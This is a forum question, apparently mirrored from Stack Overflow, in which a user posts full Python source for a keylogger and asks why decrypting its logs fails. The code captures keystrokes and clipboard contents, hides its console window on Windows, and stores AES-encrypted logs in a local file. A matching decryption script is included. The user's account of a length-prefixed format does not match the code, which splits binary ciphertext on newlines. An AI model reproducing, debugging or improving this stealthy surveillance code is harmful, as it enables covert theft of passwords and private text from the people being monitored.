[Python] Python Keylogger Not Logging Keystrokes on Windows 11, Potential issues with...

Discussão em 'Python' iniciado por Stack, Fevereiro 16, 2025.

  1. Stack

    Stack Membro Participativo

    I'm developing a Python-based keylogger. The script runs without errors but does not show captured keystrokes on Windows 11. I expected it to log keystrokes in a file, but during the decryption phase i see these errors- Decryption Error: MAC check failed [ERROR] Mismatched entry length! Expected 23824, got 2307. [ERROR] Unrealistic entry length 47642, possible corruption. i have used AES encryption to encrypt the logs, but there seems to be some error while decrypting.

    this is the code i have implemented-

    import os
    import sys
    import datetime
    import pyperclip
    import time
    import threading
    import Crypto

    from pynput import keyboard
    from datetime import datetime
    from Crypto.Cipher import AES

    secret_key = b"--key--"

    if len(secret_key) not in [16, 24, 32]:
    raise ValueError("Invalid AES key length.")

    if sys.platform == "win32":
    import ctypes
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

    log_file = "path\keylogs.bin"
    error_log_file = "path\error_logs.txt"

    log_buffer = []
    current_sentence = ""

    def encrypt_log(data):
    cipher = AES.new(secret_key, AES.MODE_EAX)
    nonce = cipher.nonce
    ciphertext, tag = cipher.encrypt_and_digest(data.encode())

    return nonce + ciphertext + tag # Concatenating all parts

    def decrypt_log(encrypted_data):
    try:
    nonce = encrypted_data[:16]
    ciphertext = encrypted_data[16:-16]
    tag = encrypted_data[-16:]

    cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
    return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

    except Exception as e:
    return f"Decryption Error: {e}"

    def log_error(message):
    with open(error_log_file, "a") as f:
    f.write(f"{datetime.now()} - {message}\n")

    def on_press(key):
    global log_buffer, current_sentence
    try:
    if hasattr(key, "char") and key.char:
    text = key.char
    else:
    text = special_key_formatter(key)

    if text == "[ENTER]":
    timestamp =datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
    log_buffer.append(encrypted_text)
    current_sentence = ""
    else:
    current_sentence += text

    if len(log_buffer) >= 10: # Adjust buffer size if needed
    write_log()

    except Exception as e:
    print(f"Error: {e}")

    def special_key_formatter(key):
    special_keys = {
    keyboard.Key.space: " ", # Space as an actual space
    keyboard.Key.enter: "[ENTER]",
    keyboard.Key.backspace: "[BACKSPACE]",
    keyboard.Key.tab: "[TAB]",
    keyboard.Key.shift: "",
    keyboard.Key.shift_r: "",
    keyboard.Key.ctrl: "[CTRL]",
    keyboard.Key.ctrl_r: "[CTRL]",
    keyboard.Key.alt: "[ALT]",
    keyboard.Key.alt_r: "[ALT]",
    keyboard.Key.esc: "[ESC]",
    keyboard.Key.delete: "[DEL]",
    keyboard.Key.up: "[UP]",
    keyboard.Key.down: "[DOWN]",
    keyboard.Key.left: "
    ",
    keyboard.Key.right: "
    ",
    keyboard.Key.caps_lock: "[CAPS]",
    }
    return special_keys.get(key, f"[{key}]")

    def write_log():
    global log_buffer
    if log_buffer:
    with open(log_file, "ab") as f:
    for entry in log_buffer:
    f.write(entry + b"\n")
    log_buffer = []

    def log_clipboard():
    global log_buffer
    recent_text = ""
    while True:
    try:
    clipboard_data = pyperclip.paste()
    if clipboard_data and clipboard_data != recent_text:
    timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
    log_buffer.append(encrypted_clipboard)
    write_log()
    recent_text = clipboard_data
    time.sleep(5)
    except Exception as e:
    print(f"Clipboard logging error: {e}")

    clipboard_thread = threading.Thread(target=log_clipboard, daemon =True)
    clipboard_thread.start()

    with keyboard.Listener(on_press=on_press) as listener:
    listener.join()


    Code for Decrypting log-

    import Crypto
    from Crypto.Cipher import AES

    secret_key = b"--key--"

    log_file = "path\keylogs.bin"

    def decrypt_log(encrypted_data):
    try:
    nonce = encrypted_data[:16] # Extract nonce
    ciphertext = encrypted_data[16:-16] # Extract ciphertext
    tag = encrypted_data[-16:] # Extract tag

    cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
    decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

    return decrypted_text

    except Exception as e:
    return f"Decryption Error: {e}"

    with open(log_file, "rb") as f:
    for line in f:
    try:
    decrypted_text = decrypt_log(line.strip()) # Strip only for binary safety
    print("Decrypted Output:", decrypted_text)
    except Exception as e:
    print(f"Decryption Error: {e}")


    I have Verified Encryption & Decryption Structure Each entry is stored as [2-byte length] + [Nonce (16)] + [Ciphertext] + [Tag (16)] I also Confirmed AES key consistency across both scripts and checked for Partial Writes & Corrupt Entries, Ensured flush() is used after writing to prevent data loss, Added sanity checks to skip entries with unrealistic lengths, printed Raw Encrypted Data for Inspection

    Sample output (unexpectedly large size detected): pgsql Copy Edit Raw Encrypted Data: b'\xa7\x17\x0e&Je-\x94\xd5\x14-c\xfe`\xd9\x12\x88\xe1\xbb/\xf4\xea0\x93\xac\x9fV...' Indicates potential corruption or misaligned reads. Added Debug Logging for Entry Length Issues

    Example error message: csharp Copy Edit [ERROR] Mismatched entry length! Expected 23824, got 2307. Suggests a misinterpretation of the 2-byte length field. Regenerated Log File from Scratch

    Deleting keylogs.bin and starting fresh reduced but didn't eliminate errors.

    Continue reading...​

Compartilhe esta Página